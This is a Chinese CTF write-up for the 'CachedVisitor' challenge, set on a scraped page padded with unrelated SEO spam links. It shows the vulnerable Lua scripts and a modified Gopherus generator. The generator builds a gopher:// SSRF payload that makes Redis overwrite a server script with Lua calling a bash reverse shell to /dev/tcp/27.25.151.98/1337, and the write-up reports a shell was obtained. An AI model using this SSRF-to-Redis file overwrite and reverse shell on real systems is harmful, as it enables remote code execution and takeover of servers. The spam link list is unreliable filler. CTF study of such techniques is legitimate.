当前位置: 首页 > news >正文

网站 用户体验的重要性南宁seo咨询

网站 用户体验的重要性,南宁seo咨询,广东队对阵广州队,wordpress博客备份明天开始考试周,百无聊赖开了一把CTF,还顺带体验了下二开工具,让无聊的Z3很开心🙂 CachedVisitor这题 大概描述一下:从main.lua加载一段visit.script中被##LUA_START##(.-)##LUA_END##包裹的lua代码 main.lua loca…

明天开始考试周,百无聊赖开了一把CTF,还顺带体验了下二开工具,让无聊的Z3很开心🙂

CachedVisitor这题

大概描述一下:从main.lua加载一段visit.script中被##LUA_START##(.-)##LUA_END##包裹的lua代码

main.lua

local function read_file(filename)local file = io.open(filename, "r")if not file thenprint("Error: Could not open file " .. filename)return nilendlocal content = file:read("*a")file:close()return content
endlocal function execute_lua_code(script_content)local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")if lua_code thenlocal chunk, err = load(lua_code)if chunk thenlocal success, result = pcall(chunk)if not success thenprint("Error executing Lua code: ", result)endelseprint("Error loading Lua code: ", err)endelseprint("Error: No valid Lua code block found.")end
endlocal function main()local filename = "/scripts/visit.script"local script_content = read_file(filename)if script_content thenexecute_lua_code(script_content)end
endmain()

visit.script

##LUA_START##
local curl = require("cURL")
local redis = require("resty.redis")ngx.req.read_body()
local args = ngx.req.get_uri_args()
local url = args.urlif not url thenngx.say("URL parameter is missing!")return
endlocal red = redis:new()
red:set_timeout(1000)local ok, err = red:connect("127.0.0.1", 6379)
if not ok thenngx.say("Failed to connect to Redis: ", err)return
endlocal res, err = red:get(url)
if res and res ~= ngx.null thenngx.say(res)return
endlocal c = curl.easy {url = url,timeout = 5,connecttimeout = 5
}local response_body = {}c:setopt_writefunction(table.insert, response_body)local ok, err = pcall(c.perform, c)if not ok thenngx.say("Failed to perform request: ", err)c:close()return
endc:close()local response_str = table.concat(response_body)local ok, err = red:setex(url, 3600, response_str)
if not ok thenngx.say("Failed to save response in Redis: ", err)return
endngx.say(response_str)
##LUA_END##

题目预设的visit.script是与内网的redis通信,可以打用gopher协议打redis任意文件写,但题目没有计划任务,考虑直接覆写/scripts/visit.script

因为有##LUA_START##(.-)##LUA_END##包裹,所以不会被脏数据影响

直接用redis-over-gopher一直打不通

sec_tools/redis-over-gopher at master · firebroo/sec_tools · GitHub

Gopherus有一段类似的逻辑,它的反弹shell是通过覆盖计划任务文件来实现

于是这里通过修改gopherus的/scripts/Redis.py来生成payload

import urllibdef Redis():def get_Redis_OverWrite():target_dir = raw_input("input target dir: ") or "/scripts"ip = raw_input("input rev ip: ") or "27.25.151.98"port = raw_input("input rev port: ") or "1337"file = raw_input("input target filename: ") or "visit.script"file_len = len(file)cmd = """##LUA_START##os.execute("bash -c 'sh -i &>/dev/tcp/{}/{} 0>&1'")##LUA_END##""".format(ip, port)len_cmd = len(cmd) + 5payload = """*1\r
$8\r
flushall\r
*3\r
$3\r
set\r
$1\r
1\r
${}\r{}\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
${}\r
{}\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
${}\r
{}\r
*1\r
$4\r
save\r""".format(len_cmd, cmd, len(target_dir), target_dir, file_len, file)finalpayload = urllib.quote_plus(payload).replace("+", "%20").replace("%2F", "/").replace("%25", "%").replace("%3A", ":")print("\033[93m" + "\nYour gopher link is ready to overwrite file: \n" + "\033[0m")print("\033[04m" + "gopher://127.0.0.1:6379/_" + finalpayload + "\033[0m")print("\n" + "\033[41m" + "-----------Made-by-Z3r4y-----------" + "\033[0m")get_Redis_OverWrite()

 

直接打入

成功反弹shell 

 

http://www.wangmingla.cn/news/58134.html

相关文章:

  • php伪静态网站破解跨境电商怎么开店铺
  • 韶关市住房和城乡建设管理局网站免费域名注册二级域名
  • 建设一个下载资料的网站高级搜索入口
  • 国外网站推广如何做软件开发培训机构去哪个学校
  • 做家装的设计公司网站抖音seo搜索引擎优化
  • 泉州免费网站制作seo网站内部优化
  • 动易初级中学网站模板cms 6.8新东方雅思培训价目表
  • 河北网站开发报价平台运营
  • 做网站都需要什么站长之家是什么
  • 做视频网站用什么格式长沙有实力seo优化公司
  • 新手做网站免费教程兰州网站seo
  • 公司网站无法打开网站模板设计
  • 网站建设 方案下载关键词点击工具
  • 个人网站设计目的宁波seo网络推广优化价格
  • 搜索引擎怎么收录网站国际新闻头条今日国际大事
  • 护卫神做的网站访问友情链接网址
  • 讨论建设网站的心得百度seo排名优化软件化
  • 新网站如何做sem成人职业技能培训班
  • 快速做网站seo优化教程培训
  • 怎样做自己的公司网站软文范例800字
  • 天津小程序网站开发公司网络营销带来的效果
  • 个人网站的建设流程博客推广的方法与技巧
  • wordpress url重写插件广东优化疫情防控措施
  • 用来做网站的背景图优化设计卷子答案
  • 普洱建设网站南京关键词优化软件
  • 做公司网站找谁网站目录结构
  • 南充市房地产备案查询seo站长查询
  • 最专业的做网站公司有哪些企业网站的主要类型有
  • 公司网站工商备案怎么做济南优化网络营销
  • 厦门有什么网站设计公司关键词查询网站的工具